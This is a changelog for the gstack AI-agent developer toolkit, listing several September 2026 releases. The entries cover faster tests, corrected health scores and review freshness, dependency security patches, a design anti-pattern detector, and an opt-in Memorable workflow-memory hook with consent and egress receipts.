- Review fixtures provide the application context and independent contracts their assertions require, declare supported editing and feedback interfaces, and verify existing rollback behavior. The DX count scenario covers a bounded onboarding decision checkpoint and defers independent roadmap work. Design evaluations submit real board feedback before acknowledging it and grant image reads only inside their owned artifact directory. Sol evaluations generate skills in private storage without replacing checkout caches. Native fixtures match complete permission text and offered handoff choices. Shared helper and source-template dependencies select the affected evaluations; overlay tests distinguish correctness from performance measurements.
- Contributor instructions require focused reproductions and adjacent checks before paid evaluations, independent scheduling, launcher preflight with executed-case counts, reuse of passing checks with unchanged inputs, and one full free-suite acceptance run after the code is frozen. Recurring parser failures require checking the supported input class against the pinned runtime.

## [1.87.5.0] - 2026-09-17

**Tests finish sooner without dropping checks.**
**CI stops waiting on unused tooling.**

This release speeds up gstack's development feedback loop. Terminal-driven checks react to new output instead of waiting through a fixed polling interval. Synthetic CLIs can announce when their input handlers are ready, while real CLI sessions retain their startup grace and input debounces. Completed processes no longer stay alive just to finish unused timeout timers.

### The three numbers that matter

Measured on the same Linux machine with Bun 1.4.0. Run each named file with `bun test <file>` on the previous release and this version. The polyfill and daemon numbers are three-run wall-time medians on both sides; the permission baseline is one observed run, and its after value is a three-run median. These are individual test-file measurements, not whole-suite or production latency claims.

| Test file | Before | After | Δ |
|---|---:|---:|---:|
| `browse/test/bun-polyfill.test.ts` | 17.30s | 1.29s | −93% |
| `design/test/daemon-discovery.test.ts` | 17.78s | 11.99s | −33% |
| `test/plan-count-file-permission.test.ts` | 97.05s | 30.92s | −68% |

The permission suite still makes all 115 assertions, including its deliberate stale-prompt delay. Terminal observations are capped at four per second so animated output cannot turn faster responses into a busy loop.

### What this means for contributors

Local test runs spend less time waiting after work is already complete. CI planning no longer pulls the execution image or waits for image lookup before producing its manifest; executors still require both prerequisites, and missing or failed results still fail reconciliation. Run `bun run test` for the complete free suite.

### Itemized changes

#### For contributors

- Wake plan-count checks on output and exit, retain a silent metadata fallback, and settle output bursts before reading split redraws. Three synthetic CLI suites use explicit startup readiness without changing real-CLI startup behavior.
- Cancel unused PTY and Node deadlines, stop already-exited daemon fixtures immediately, clear cookie-picker fixture sessions between suites, and await watchdog shutdown with a bounded completion signal.
- Await telemetry append completion in consent tests instead of assuming disk writes finish within 30ms. Consent checks and error swallowing are unchanged.
- Run gate and periodic CI planners directly on pinned Bun without dependency installation. Reports also skip unused installs; fork restrictions, executor images, and failure checks remain intact.
- Retain failed eval shard logs from the hidden CI cache directory without uploading unrelated cache files.
- Inject the CSO Git-pointer race at its first bounded read, preserving the original rejection assertion.
- Preload the UI-positive design-review eval in an isolated plan fixture and require an answered native design question, rather than accepting scope or outside-review menus. Bind command-rejection checks to the invoked skill, not a child tool's diagnostics.
- Generate skill documentation in a fresh checkout without importing browser runtime dependencies. Keep snapshot flag metadata and public exports unchanged.
- Eliminate early-reader pipe races in artifact URL normalization and safety-hook matching. Multiline commands retain their warnings even with large trailing content.
- Treat a publication removed by another CSO recovery helper during candidate enumeration as a bounded retry; replacement inodes still fail closed.

## [1.87.4.0] - 2026-09-16

**Failed checks stay failed.**
**Health scores show what actually ran.**

`/health` now keeps each checker's exit status and counts diagnostics from its complete output. Reports still show only the final 50 log lines. Scores name the checked and unavailable categories, so a partial run carries its coverage beside the number. Runs with no checks produce no numeric score or history entry.

### The three numbers that matter

Source: the synthetic checker in `test/health-capture.test.ts`, which emits 60 type errors followed by 80 context lines and exits 2. These measurements compare the v1.87.3.0 capture example with this version under default Bash without `pipefail`. Run `bun test test/health-capture.test.ts` to verify current behavior. These are correctness measurements, not production statistics.

| Metric | Before | After | Δ |
|---|---:|---:|---:|
| Reported checker exit status | 0 | 2 | +2 |
| Type errors available for scoring | 0 | 60 | +60 |
| Displayed checker log lines | 50 | 50 | 0 |

The failing checker no longer looks successful because `tail` succeeded. All 60 errors count even when the displayed tail contains only context.

### What this means for developers

You can distinguish a score backed by several checks from one based on a single available tool. Empty runs report `N/A — no checks ran`; capture errors also remain unscored and leave existing history unchanged. Trends compare only matching categories, so installing a new checker does not manufacture a regression or improvement. Run `/health` to see the score and its coverage together.

### Itemized changes

#### Fixed

- **`/health` preserves failed checks and complete diagnostic counts.** Reports show the final 50 output lines while scoring the full log and the checker's actual exit status. Temporary capture errors remain explicit errors.
- **Health scores disclose coverage.** Partial runs list checked and unavailable categories. Runs with no checks report `N/A — no checks ran`, leave numeric history unchanged, and have no trend. Score comparisons require matching categories.

#### Changed

- Routing evaluations choose among installed GStack skills, keeping built-in CLI skills outside the evaluated catalog. The model still chooses by matching the request to each skill's description.

## [1.87.3.0] - 2026-09-15

**Changed code needs another pass.**
**Review freshness now checks both ends.**

A green review now stays attached to the code that was there when the pass began. `/review` and `/ship` capture that content before reading it, then compare again when the pass finishes. If fixes changed the files, another pass has to review those fixes before the dashboard can call the result CURRENT. Older log-only records remain visible, but cannot stand in for a completed code review.

A clean result requires a completed pass on unchanged content with no unresolved findings. A stopped or nonconverged run cannot clear the code-review row just because its commit has not moved.

### The three numbers that matter

Source: scenarios in `test/review-start-evidence.test.ts`, checked against released v1.87.0.0 and this version. Run `bun test test/review-start-evidence.test.ts` to verify current behavior. These are false CURRENT grades across five deterministic cases, not production incident estimates.

| Cases incorrectly graded CURRENT | Before | After | Δ |
|---|---:|---:|---:|
| Mid-review edits: tracked and untracked source | 2 | 0 | -2 |
| Log-only result without a captured review start | 1 | 0 | -1 |
| Codex advisory findings: none or only some resolved | 2 | 0 | -2 |

The old stamp could certify a review after its own fixes changed the tree. Those cases now stay STALE or UNVERIFIED, including an advisory-only Codex pass that leaves findings unresolved.

### What this means for developers

You can distinguish a completed, unchanged pass from a run that still needs attention before merging. Plan reviews keep their existing rules; they assess the plan rather than the checked-out source. Completion is still reviewer-reported, not proof that an LLM read every file. Run `/review` again after fixes and use the new result when preparing to ship.

### Itemized changes

#### Fixed

- **Review freshness no longer certifies unreviewed fixes.** `/review` and `/ship` bind each diff pass to the content captured before it starts. Edits during review, incomplete passes, and older log-only records stay stale or unverified in the readiness dashboard and `/land-and-deploy`, even when HEAD has not moved. Plan-review evidence keeps its existing freshness rules.
- **Codex readiness keeps unresolved findings visible.** Passing the critical-findings gate does not make a review CURRENT while advisory findings remain open. The gate's severity policy is unchanged.

## [1.87.2.0] - 2026-09-15

**Headless commands stop closing your logged-in browser.**
**Other projects leave it alone.**

Keep a headed GStack Browser open while another project uses headless browse commands. Starting, stopping, or disconnecting that project's headless daemon no longer kills the process holding your headed profile or removes its locks. The shared-profile cleanup now runs only for headed sessions, which actually use that profile. Headed startup keeps its stale-lock recovery.

### The three numbers that matter

Source: `bun test browse/test/chromium-profile-isolation.test.ts`, running the same nine-case regression suite against unchanged main and this release. Its headless CLI cases pair a real daemon with a controlled live process holding another project's profile locks. The headed startup controls use a stub daemon.

| Metric | Before | After | Δ |
|---|---|---|---|
| Isolation suite cases passing | 3 of 9 | 9 of 9 | +6 |
| Isolation suite cases failing | 6 of 9 | 0 of 9 | -6 |
| Headed startup controls passing | 2 of 2 | 2 of 2 | Unchanged |

The six previously failing cases now pass without deleting the foreign locks or killing their holder. Both explicit `--headed` and `BROWSE_HEADED=1` still clear stale locks before launch.

This release separates headless cleanup from the shared headed profile. It does not give two headed sessions separate profiles, and it does not fix production Chromium process-identity capture. Tests that supply a recorded process identity verify its cleanup behavior; they are not evidence that a real launch records that identity.

### What this means for multi-project work

You can leave one browser open for work that needs your logins while another project starts or stops its own headless daemon. That removes the cross-project cleanup path behind the disappearing-window report, without claiming a solution for two headed browsers sharing one profile. Upgrade gstack and keep using your existing headed connection.

### Itemized changes

#### Fixed

- Headless daemon startup, stop, disconnect, and crash cleanup leave another project's headed browser and shared profile locks alone. Headed launches retain stale-lock cleanup. (#2817)

#### For contributors

- Added nine regression cases for shared-profile isolation, including cleanup with a supplied recorded process identity. Production identity capture is not validated by those fixtures.
- Extended only the outer deadline of the native Windows USERPROFILE integration test to 120 seconds. Its assertions and subprocess timeouts are unchanged.

## [1.87.1.0] - 2026-09-15

**Two vulnerable dependencies are fixed.**
**Archive extraction keeps its boundary.**

Sharp now resolves to 0.35.4, replacing the vulnerable libheif bundle, and adm-zip resolves to 0.6.1, which rejects extraction through destination symlinks. Both packages arrive through transitive dependencies, so the override changes also update the resolved lockfile and Sharp's platform packages. A normal archive still extracts, and the screenshot downscaler still reads and resizes PNGs. The fix does not change the pinned evaluation harness or add a vulnerability exception. This takes the dependency update from #2867 without bundling its separate override-expiry and scheduled-notification proposals into the security patch.

### The three numbers that matter

These results come from OSV-Scanner 2.3.8 with the existing `.osv-scanner.toml`, and `bun test test/dependency-security.test.ts` against the original and updated lockfiles.

| Check | Before | After | Δ |
|---|---:|---:|---:|
| Unsuppressed OSV findings | 2 | 0 | -2 |
| Security regression checks passing | 1/6 | 6/6 | +5 |
| Destination-symlink escape cases rejected | 0/2 | 2/2 | +2 |

The two escape cases cover a symlinked file and a symlinked directory. Both now refuse the write and leave the file outside the extraction directory unchanged. The scanner's existing exceptions remain in place; zero unsuppressed findings is not a claim that every dependency is vulnerability-free.

### What this means for users

The installed dependency tree no longer carries these two known-vulnerable versions. The screenshot path continues to handle PNGs, while archive extraction gains the upstream boundary check without a new configuration switch. Upgrade, then run `bun install --frozen-lockfile` to install the fixed dependency set.

### Itemized changes

#### Security
- Upgrade the `sharp` override to 0.35.4 and `adm-zip` to 0.6.1, including the resolved Sharp platform packages. Addresses #2866. Contributed by @smsmatt in #2867.
- Add regression coverage for fixed version floors, the loaded Sharp runtime, ordinary archive extraction, and file/directory destination symlink rejection.

## [1.87.0.0] - 2026-09-11

**`/cso` now distinguishes verified vulnerabilities from hypotheses and coverage gaps, and qualified comprehensive audits can produce replayable repair bundles without changing your working branch.**

### Added
- `/cso --doctor`, `--resume`, `--replay`, and `--recheck` diagnose prerequisites, recover interrupted work, repeat recorded verification, and establish closure from a fresh snapshot. `--base`, `--budget`, and `--offline` make scope, time, and network policy explicit.
- A native `gstack-cso` helper captures tracked changes and nonignored source without Git hooks or staging, rejects unsafe files and changing inputs, redacts output before storage, enforces run budgets, and retains recoverable reports and bundles under the private gstack state root.
- Comprehensive audits have declared preparation paths for Node, Bun, Python, and Rails, with SQLite and disposable PostgreSQL support. Dependency acquisition is separated from offline application execution, and target code runs only through the constrained local Docker policy.
- Runtime-tested repair bundles record the original reproduction, an authenticated out-of-process security assertion, legitimate controls, the patch, dependency and configuration closures, provenance, and input hashes. Project-test completion remains `self_reported`; the stronger `tested` label is reserved for a future target-independent completion witness. Replay requires matching source; current-source rechecks collect new evidence instead of inheriting old status.
- Scanner adapters normalize Gitleaks, OSV-Scanner, Semgrep, zizmor, Trivy, Schemathesis, and imported SARIF as candidate evidence with version, scope, freshness, exclusions, and failure records.
- Protected release workflows, 40 vulnerable/fixed evaluation pairs across the four supported stacks, fault-injection tests, and runtime/scanner promotion gates qualify catalogs before comprehensive target execution is enabled.

### Changed
- Daily `/cso` audits remain bounded and static. Reports begin with `complete`, `partial`, or `not assessed`, publish supported findings as they become available, separate severity from confidence and evidence, and say exactly which security work was left undone.
- Security judgment now models actors, assets, entrypoints, tenant boundaries, sensitive operations, and invariants; challenges each candidate against callers and controls; and evaluates development dependencies, availability, historical secrets, role-controlled input, and gstack-owned skills by attacker control and impact.
- Setup builds the trusted launcher only when Bun supports all required no-autoload flags and the native toolchain is available. Unsupported hosts retain the rest of gstack and receive a precise `/cso` prerequisite instead of a partially trusted helper.
- Legacy v2 reports remain readable as historical review evidence. They never inherit v3 reproduced, repair-tested, or current-source closure status.
- The authenticated repository owner account `@garrytan` is exempt from the PR liveness screenshot; all other contributors still provide live `GSTACK PR` proof.

### Security
- Runtime startup strips injection variables, binds absolute executables and allowlisted environments, rejects remote Docker contexts, and uses pinned images, non-root containers, dropped capabilities, read-only roots, bounded writable storage and output, no published ports, and network-isolated reproduction groups.
- Runtime and scanner catalogs ship unpromoted until protected native Docker qualification succeeds. On an unqualified installation, `/cso --doctor` reports the missing qualification and comprehensive target execution fails closed; static assessment remains available.

## [1.86.0.0] - 2026-09-11

### Added

- **Get an independent Claude Code review from Codex.** Planning, review, shipping, design, documentation, and spec workflows select their outside reviewer from the running harness. Codex calls Claude Code; Claude Code calls Codex. Other supported harnesses expose both review skills.
- **Review, challenge, or consult with `/claude-code`.** Reviews use only the context supplied by the parent. Consultations can read repository files and resume the previous conversation, using your configured Claude authentication and model.

### Changed

- **`/claude` is now `/claude-code`.** Run setup to migrate existing installations, including shared and copied installs. Each wrapper is available outside its own harness, and Kiro receives its native skills. Successful migration removes the old name without an alias; failed repairs preserve the working entry and user files.
- **See which outside reviews actually completed.** Reports retain the provider and phase for each pass, including partial `/autoplan` coverage. Disabled, skipped, unavailable, and completed reviews stay distinct; historical records keep their original attribution.

### Fixed

- Failed, refused, empty, or malformed outside reviews can no longer count as a clean pass. Claude runner failures include authentication, timeout, and output overflow diagnoses, and stale skills stop before invoking their own harness.
- Spec review stops when redaction fails, before sending the spec to a reviewer or saving it downstream.
- Generated skills preserve their source files when an output directory links back into the installation, including on Windows.
- Planning reviews request each unresolved decision before editing and carry approved remedies across sections without asking again. Choosing a scope or approach does not approve every finding. Reviews preserve stated requirements unless you authorize changing them.
- Autoplan preserves the original plan and checks that each phase’s recorded requirements reach the next reviewer. It reconciles approvals with that record, reads the review skills installed for the current harness, and waits for reviewers and verified plan updates before advancing. Disabling extra plan or documentation review also skips replacement reviewers.

## [1.84.1.0] - 2026-09-09

### Changed
- Codex reviews, consultations, and evals now default to GPT-6 Astra. Choose another model with `GSTACK_CODEX_MODEL` or an explicit model in your request; the readiness probe checks that same selection.
- Claude outside voices and eval capture/judging now default to Fable 5.1. Outside voices accept `GSTACK_CLAUDE_MODEL`; evals retain their explicit and environment model overrides. Warmup and distillation keep their cheaper defaults.

### Fixed
- Native Codex reviews honor the selected model even when the CLI has a separate review-model pin. Claude judges parse text after thinking blocks, and arm judgments omit the temperature setting Fable does not support.
- Frontier judges have enough output budget for thinking and JSON. Workflow evals read generated sections in execution order, without duplicated content.
- Ship and plan reviews keep approval gates with the parent agent, preserve readiness checks, and use project-native test commands. QA scoring and monitoring rules are explicit; Aside drive options wait for a successful readiness probe.
- Benchmark timing uses the navigation entry's actual fields. Deploy setup collects missing configuration, and failed vendored upgrades restore their backup instead of deleting it.
- Retro reports distinguish verified merges from PR references, use the session date for snapshots, and define report ordering. The quality eval includes compare-mode instructions instead of cutting them off.
- Documentation review runs before publication so approved fixes reach the PR. Changelog protection, unavailable-review handling, and raw/enveloped PR-body handling are consistent across the workflow.

## [1.84.0.0] - 2026-09-09

**gstack's design skills now start with 61 deterministic anti-pattern checks, in your voice, then spend their judgment where a detector cannot.**
**DESIGN.md is written in the open format that impeccable and Google Stitch read, and the AI-slop list lives in one typed catalog instead of four drifting copies.**

If you have [impeccable](https://impeccable.style) installed, `/design-review`, `/design-html`, `/review`, and `/ship` run its engine first and hand you its findings as `FINDING-NNN [rule-id]` rows with file:line and a handoff (`/impeccable typeset`, `layout`, `colorize`, ...) before the LLM pass reads a page. gstack never runs impeccable's installer or launcher. The first time a design skill finds no engine it asks once: download the 16 MB engine binary from impeccable's own GitHub release into `~/.impeccable`, checked against a checksum gstack pins and recorded in your egress ledger first, or not. Say no and nothing changes and nothing nags; `gstack-config set design_detector off` silences every trace. The probe only reads files, the engine runs only from under your home directory, and a checked-out repository can never make gstack execute one of its own files.

On a live URL, `/design-review` scans the rendered page: the DOM is dumped with linked stylesheets inlined and scripts, input values, handlers, and query strings stripped, redaction-checked, kept owner-only, and the engine reads that, so Rule 4 holds on a deployed site. `/design-consultation` writes the open DESIGN.md spec (tokens in front matter, eight canonical sections, your Motion and Decisions Log kept). An existing file is converted only when you say so, once, and the answer is recorded in the file.

### The numbers that matter

Source: `git diff origin/main --shortstat`, `lib/design-catalog.ts` (`bun -e` over the exports), the free-suite log recorded by `gstack-evidence`, and the paid E2E rerun on this branch (`test/skill-e2e-design.test.ts`, `test/skill-e2e-review.test.ts`, 12 cases).

| Metric | Before | After | Δ |
|---|---|---|---|
| Deterministic checks in a design review | 0 | 61 rules (impeccable's engine, one consented download away) | evidence before judgment |
| Places the AI-slop vocabulary lived | 4 files, drifting | 1 typed catalog, 86 entries (57 slop, 29 quality) | `review/design-checklist.md` is generated from it |
| Skills that run the detector | 0 | 4 (`/design-review`, `/design-html`, `/review`, `/ship`) | same rule ids everywhere |
| What a scan can read | source files | source files or the rendered DOM of a live URL | works on deployed sites |
| DESIGN.md format gstack writes | private schema | open DESIGN.md spec | impeccable and Stitch read it |
| New `test()` declarations (platform-gated ones included) | | 194 across 11 files | free suite: 9,206 tests, 12/12 paid E2E |

The row you feel is the first one: a purple gradient, a kicker above a heading, a nested card, or `Inter` as the display face is a machine finding with a file:line before anyone forms an opinion, so the review's judgment goes to hierarchy, trust, and copy.

What this means for anyone shipping a UI with gstack: say yes once when a design skill offers the engine (or install impeccable yourself), then run `/design-review` as before. The mechanical rows arrive first, tagged, deduplicated against the checklist, and calibrated against your DESIGN.md tokens. Never install it and every design skill behaves as in v1.81, with sharper doctrine.

### Itemized changes

#### Added
- **Design detector** (`bin/gstack-design-detect.ts`, config key `design_detector: auto|off`): `probe` reports `IMPECCABLE_READY | NOT_CACHED | NOT_AVAILABLE | DISABLED` plus skill, hook, and config-ignore lines without executing anything; `scan` runs the user-installed engine over repository files, changed frontend files (`--changed <base>`, NUL-safe, batched), or DOM dumps under `~/.gstack/projects/<slug>/designs/`, and prints one normalized JSON document plus a fenced, untrusted `DETECT_TOP` block grouped by rule; `rules` lists the mapping. Only an install under HOME (cache, env override, PATH, or the skill's sibling engine) whose real file is named `impeccable` is ever READY; URLs are refused; the engine sees a minimal environment; per-batch and whole-scan timeouts; findings capped and every field sanitized; exit 3 marks a gstack bug.
- **Consent-gated engine install** (`gstack-design-detect.ts install`): when the probe finds no engine, the design skills ask one question, once, in interactive sessions only (never in spawned or headless runs). Yes downloads the engine version gstack has tested for your platform from github.com/pbakaus/impeccable's releases, verifies it against the checksum pinned in gstack for all five platforms, writes an egress receipt before the fetch (fail-closed), and places the one file under `~/.impeccable/bin/<version>/`: no impeccable skill, no editor hook, no launcher. "Never ask again" is remembered in `design_detector_install_prompted`; "turn it off" is `design_detector off`. gstack never runs `npx impeccable`.
- **Phase 0 in `/design-review`**: source mode on a feature branch, DOM mode on any URL (Aside first, the bundled browser otherwise) through one shared dump script, `lib/dom-dump.js`; `design-baseline.json` gains per-page detector counts with id-level deltas and an `engine changed` caveat; Phase 10 reports `Detector: N → M`; deferred findings end with the `/impeccable <cmd>` handoff when the skill is installed.
- **`/review` and `/ship`** design pass: the mechanical scan runs first, its rows bucket by tier (auto-fix, ask, possible), and a detector hit at the same file:line as a checklist hit is one row. **`/design-html`**: a bounded slop gate before screenshots, one fix pass, then accepted-with-reason rows.
- **Typed design catalog** (`lib/design-catalog.ts`): 86 entries with rule ids, impact, tier, confidence, detection method, handoff, fonts, and the ten `mockupNever` patterns the image-generation prompt now refuses by default. `review/design-checklist.md` is generated from it by `bun run gen:skill-docs`.
- **Doctrine**: Persuade / Operate / Read / Experience modes (MARKETING and APP UI kept as aliases), craft-floor reflexes (browser surfaces, one authored motion moment, depth with an offset, tinted secondary text, more space above a heading than below, light or dark from the use scene), the three-looks calibration, a font procedure with a role-scoped overused list, and Restrained / Committed / Full palette / Drenched color strategies.
- **Open DESIGN.md format** (`lib/design-md.ts`, `bin/gstack-design-md.ts`: `check`, `convert`, `tokens`, `mark`): read, write, convert a legacy gstack file (backup kept), flatten tokens for calibration, and persist the one-time format choice as a marker line. `/design-consultation`, `/design-review`, and `/design-html` write and read it; `PRODUCT.md` prefills the consultation's questions.
- **Attribution**: `NOTICE.md`, `licenses/Apache-2.0.txt`, and changed-file headers for material derived from impeccable and the DESIGN.md specification.

#### Changed
- `/design-consultation` chooses type by a procedure (name the world, shortlist per role, strike the overused list for that role, verify availability, state loading), varies direction across generations without flipping light and dark, and lists banned faces (Courier New now among them) from the catalog.
- Landing-page rules ask for one authored motion moment and a brand texture or asset instead of halo, spotlight, stripe, or grid gradients; the universal font rule is scoped to the display voice with body/UI exceptions on Operate and Read surfaces.
- gstack's own `DESIGN.md` is in the open format, with its intentional exceptions (the live-feed pulse, 11px mono data labels) recorded in the Decisions Log.
- The design binary's variant set trades its light/dark flip for a drenched-color dial.
- Repository `.impeccable/config*.json` ignores are surfaced (`IMPECCABLE_IGNORED_RULES`, `_FILES`, `_VALUES`) and treated as evidence in `/review` and `/ship`, settled decisions in your own project.

#### For contributors
- Real engine captures pin the contract (`test/fixtures/impeccable-*.json`, the dumped slop page, captured with engine 0.1.3 and its 61-rule registry); `test/fixtures/fake-impeccable.ts` drives the unit and E2E suites through env knobs (output file, exit code, sleep, argv log) that pass the wrapper's minimal engine environment.
- New free suites: `gstack-design-detect`, `design-md`, `design-catalog`, `design-checklist-sync`, `design-detect-contract`, `frontend-scope`, `impeccable-fixtures`, `dom-dump-hygiene` (a real Chromium run, CI or `GSTACK_DOM_DUMP_HYGIENE=1`), plus the brief test for the design binary. Gate E2E: `design-review-detector-shim` (source and DOM); periodic: `design-html-slop-gate`.
- `design-review`'s eager ceiling moved to 31,319 tokens; the carve guards for `design-html` and `plan-design-review` are re-measured; the `bin/`-and-`lib/` linking rule now carries two more runtime bins.

## [1.83.0.0] - 2026-09-09

**Memorable's workflow memory plugs into Claude Code through gstack, behind a consent key you control.**
**Every prompt it sees is receipted, secret-scanned and enveloped. The switch is off until you flip it.**

Memorable (memorable.sh) is a third-party CLI that remembers how you did a task and recalls it the next time you ask for something similar. Its own installer registers a Claude Code hook directly. This release lets you register that hook through gstack instead, with `gstack-memorable enable`, and nothing changes until you run it. When you do, gstack records its own consent key (`memorable_recall`, listed by `gstack-egress grants` with its revoke command), writes an egress receipt before every prompt it hands to the vendor binary and skips the hand-off if the receipt cannot be written, refuses to hand over a prompt carrying a live-shaped credential, skips repositories whose trust policy is `deny` or `read-only`, runs the binary in an allowlisted environment inside its own process group under a 4.5 second budget, and wraps whatever comes back in the trust envelope so recalled text can never block a prompt or speak as gstack. `gstack-memorable status` shows the vendor CLI, the gate, who registered the hook (by identity, so it stays correct after Claude Code rewrites `settings.json`), receipt counts and recent errors. `disable` turns it off and verifies both the consent and the registration before it says so. Claude Code only; Windows is refused for now because there are no process groups to contain the vendor.

The numbers that matter. Measured on a Linux sandbox with a fake vendor; the scan rows come from `scan()` in `lib/redact-engine.ts` on a synthetic log-like prompt dense in emails and IP addresses (256 KiB: 5,462 findings; 512 KiB: 10,898 findings), `main` against this release.

| Metric | Before | After | Δ |
|---|---|---|---|
| Redaction scan, 256 KiB log-like prompt | 1,573 ms | 65 ms | 24x faster |
| Redaction scan, 512 KiB log-like prompt | 6,182 ms | 126 ms | 49x faster |
| Hook cost per prompt with the bridge disabled | no hook | 49 ms | shim, bun, one config read |
| gstack work per prompt before the vendor runs | no hook | ~25 ms | gate, policy, scan, receipt |
| Tests in the free suite covering this bridge and the hook manager | 0 | 128 | +128 |

The scan speedup is not bridge-specific. Line and column for each finding used to be computed by walking the text from the start, so a pasted log full of addresses cost time quadratic in its matches; it is a binary search over a line index now, and every caller of the engine (`gstack-redact`, the pre-push hook, the PR-body scan in `/ship`) gets it.

What this means for you: if you use Memorable, run `memorable login`, `memorable enable`, then `gstack-memorable enable`, and look at `gstack-egress list --sink memorable-recall` after a few prompts. If you do not, nothing changes: the key defaults to off, no hook is registered, `./setup` never registers one for you, and upgrading needs no migration. `docs/memorable-workflow-memory.md` says exactly what gstack hands over, what it can attest, and what is Memorable's own claim. Contributed by @AdvaiytSane and @NIkhil-cmd-cmd (#2831).

### Itemized changes

#### Added

- **`bin/gstack-memorable enable | disable | status`**, the Memorable recall bridge (Claude Code only, off by default). `enable` needs the vendor CLI on the machine, registers gstack's hook at the stable install path with a 5 second timeout, refuses when Memorable's own installer already registered its hook (two entries would run the hook twice per prompt), verifies the stable install carries this bridge before touching anything, and sets `memorable_recall=on`. It never runs `memorable enable`: the vendor's capture consent is yours to grant. `disable` flips the key off first, removes gstack's entry by identity (tag or no tag), verifies both, and reports a partial failure as one. `status` never executes the vendor. One lifecycle transition runs at a time (a lock under `~/.gstack/locks`, stale after 30 seconds). Exit codes mirror the hook manager: 1 refused, 3 unparseable `settings.json`, 4 unexpected shape, 5 lock.
- **`hosts/claude/hooks/memorable-user-prompt-hook`** (bash shim plus `memorable-user-prompt-hook.ts`), the UserPromptSubmit hook the bridge registers. One deadline clock undercuts Claude Code's 5 second hook kill; stdin is capped at 1 MiB; the prompt is scanned for HIGH-tier credential shapes on the raw bytes and on the decoded string values; the vendor sees only `PATH`, `HOME`, identity and locale variables, temp directories, the standard proxy, TLS and `XDG_*` variables and its own `MEMORABLE*` knobs; only a string `additionalContext` is accepted from it (a vendor `decision`, `continue` or `systemMessage` is dropped), control and Unicode format characters are stripped, the text is capped at 8 KiB on a UTF-8 boundary and enveloped. The vendor's whole process group is killed when the hook finishes, hangs past its budget, or is terminated by the host mid-flight (a process the vendor detaches into its own session is outside that guarantee); a vendor that exits but leaves a helper holding its pipes still gets its answer delivered. Every refusal is one rate-limited line in `~/.gstack/hook-errors.log` (created 0600); the hook always exits 0.
- **`memorable_recall` config key** (`on | off`, default `off`, a typo is rejected and the prior value kept) and a **`memorable-recall` row in `gstack-egress grants`** naming the vendor CLI, the per-prompt receipt sink and the revoke command.
- **Egress receipts for the `memorable-recall` sink**, fail-closed: no receipt, no hand-off. The receipt records the byte count and sha256 of the exact stdin handed over, the consent key, and `local:<path to the vendor executable>` as the recipient gstack can attest; the outcome records `exit:0 output-written bytes=N gstack_ms=N`, `exit:N injected=no`, `timeout`, `spawn-error:<code>` or `budget-exhausted`. A receipt with no outcome reads as unknown, never as success.
- **`gstack-settings-hook list-items --event <E> [--owned-by <source>] [--command-regex <js-re>]`**, a read-only identity view: one JSON string literal per matching hook command, identity from the hook table rather than the tag, empty output when nothing matches, exit 3 on unparseable settings and 4 on an unexpected shape, so a caller can decide a mutation from it.
- **`runExternal` in `hosts/claude/hooks/spawn-bin.ts`**, the contained way for a hook to run a third-party executable: its own process group, a wall-clock limit that kills the group, a stdout cap, a drained stderr tail, stdin write errors kept separate from spawn errors, resolution on the child's exit rather than on the last pipe closing, and a refusal on Windows.
- **`lockBudgetMs`** on `writeReceipt` and `writeOutcome` in `lib/egress-receipt.ts`, so a caller on a deadline can bound the ledger lock wait (default unchanged at 2.5 seconds), and a **spawn timeout parameter** on `repoPolicyTier` in `lib/gbrain-repo-policy-client.ts`.
- **`docs/memorable-workflow-memory.md`**: what you get, the two consents (gstack's and Memorable's, neither implies the other), what gstack hands over and what it can attest, what gstack tests and what is the vendor's claim, turning it on and off, and a troubleshooting runbook. A README row, a Docs-table row and a privacy pointer link to it.

#### Changed

- **`gstack-settings-hook remove-source` removes by identity as well as by tag.** Claude Code strips gstack's `_gstack_source` tag when it rewrites `settings.json`; the off switch for every gstack hook used to no-op on exactly those entries. Items the hook table identifies as the requested source are removed whether or not the entry is tagged, other sources' items are never touched, and entries with nothing of the source's stay byte-identical.
- **`./setup --no-team` keeps the opt-in Memorable hook** when it sweeps stray gstack hooks, alongside the verify gate.
- **`gstack-uninstall` removes the Memorable hook by name**, sets `memorable_recall` off wherever gstack's config lives (kept state or not, hook manager present or not, and a failed revocation is named), and says that Memorable's own consent is unchanged (`memorable disable`, `memorable forget`).
- **Redaction findings locate their line and column by binary search** over a per-scan line index, so scan time is linear in the input for every caller of `lib/redact-engine.ts`.

#### For contributors

- New test files: `test/gstack-memorable.test.ts`, `test/memorable-user-prompt-hook.test.ts` (a fake vendor written in sh; the hook's stdin bytes are compared byte for byte with what the vendor received), `test/gstack-config-memorable-key.test.ts`. Extended: `test/gstack-settings-hook-schema-aware.test.ts` (identity removal pinned for every source in the hook table), `test/egress-receipt.test.ts`, `test/egress-receipt-wiring.test.ts` (the `hosts/` tree is now swept for unreceipted sinks), `test/uninstall.test.ts`, `test/gbrain-repo-policy-client.test.ts`, `test/redact-engine.test.ts`, `test/verify-gate.test.ts`, `test/setup-hook-canonical-paths.test.ts`, `test/hooks-windows-paths.test.ts`, `test/gstack-egress-cli.test.ts`.
- `docs/PROJECT_STRUCTURE.md` lists the new hook and bin.

## [1.81.0.0] - 2026-09-06

**Aside is the browser gstack drives first. Every browsing skill, the PDF and diagram renderer, and web research go through it.**
**gstack's own headless browser stays as the automatic fallback, so nothing stops working without Aside.**

Since v1.72 Aside was the recommended driver for third-party sites. This release makes it the first driver everywhere. `/qa`, `/qa-only`, `/design-review`, `/scrape`, `/benchmark`, `/canary`, `/browse`, `/devex-review`, `/land-and-deploy`'s post-deploy check, and `/design-consultation`'s competitor research now run inside the Aside AI browser (macOS 15+, aside.com), in the sessions you are already signed in to. No cookie export, no "open the browser" step, no CAPTCHA handoff dance: if a page needs a login, you sign in inside Aside and the skill re-runs the step. `/make-pdf`, `/diagram`, `/design-html`'s viewport screenshots, and `/office-hours` sketches render through Aside as well, and the skills that used to reach for the WebSearch tool now ask Aside's own agent, read-only, in your real browser.

When Aside is not there, nothing breaks. Every browsing skill carries a fallback section that translates its Aside steps onto gstack's own headless Chromium (`$B`), step for step: same evidence lines, same report, same consent rules, with cookie import or a handoff for authenticated pages. The renderer picks Aside when it is running and the bundled browser otherwise, and prints which one it used. Research falls back to the WebSearch tool, then to in-distribution knowledge. Linux and Windows users keep the bundled browser exactly as before; the Third-Party Web Actions contract keeps gstack's visible browser as its fallback driver.

